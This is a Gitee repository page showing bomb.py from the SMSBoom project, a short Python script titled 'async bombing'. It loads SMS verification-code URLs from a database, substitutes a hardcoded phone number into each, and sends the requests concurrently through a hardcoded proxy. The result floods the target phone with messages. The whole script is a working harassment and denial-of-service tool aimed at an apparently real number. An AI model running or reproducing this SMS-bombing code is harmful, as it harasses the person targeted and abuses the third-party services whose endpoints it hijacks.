1 Star 5 Fork 3

kirara233/SMSBoom

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
bomb.py 1.06 KB
一键复制 编辑 原始数据 按行查看 历史
#!/usr/bin/python python3
# coding=utf-8
'''
Author: whalefall
Date: 2021-08-07 21:23:35
LastEditTime: 2021-08-30 11:54:39
Description: 异步轰炸
'''
import httpx
import asyncio
from utils.db_sqlite import Sql
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36",
}
async def get(url, session: httpx.AsyncClient):
'''异步请求'''
print(f"开始请求{url}")
try:
# resp = session.get(url, headers=header)
status = await session.get(url, headers=header)
print(status.text)
except Exception as e:
print(f'请求失败{url}.{e}')
async def main():
urls = Sql().select()
tasks = []
async with httpx.AsyncClient(timeout=8,proxies={"all://":"http://120.52.73.44:18080"}) as session:
for url in urls:
url = url.replace("{phone}", "19820294268")
task = asyncio.create_task(get(url, session))
tasks.append(task)
await asyncio.wait(tasks)
if __name__ == "__main__":
asyncio.run(main())
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/Q3042183597/SMSBoom.git
git@gitee.com:Q3042183597/SMSBoom.git
Q3042183597
SMSBoom
SMSBoom
master

搜索帮助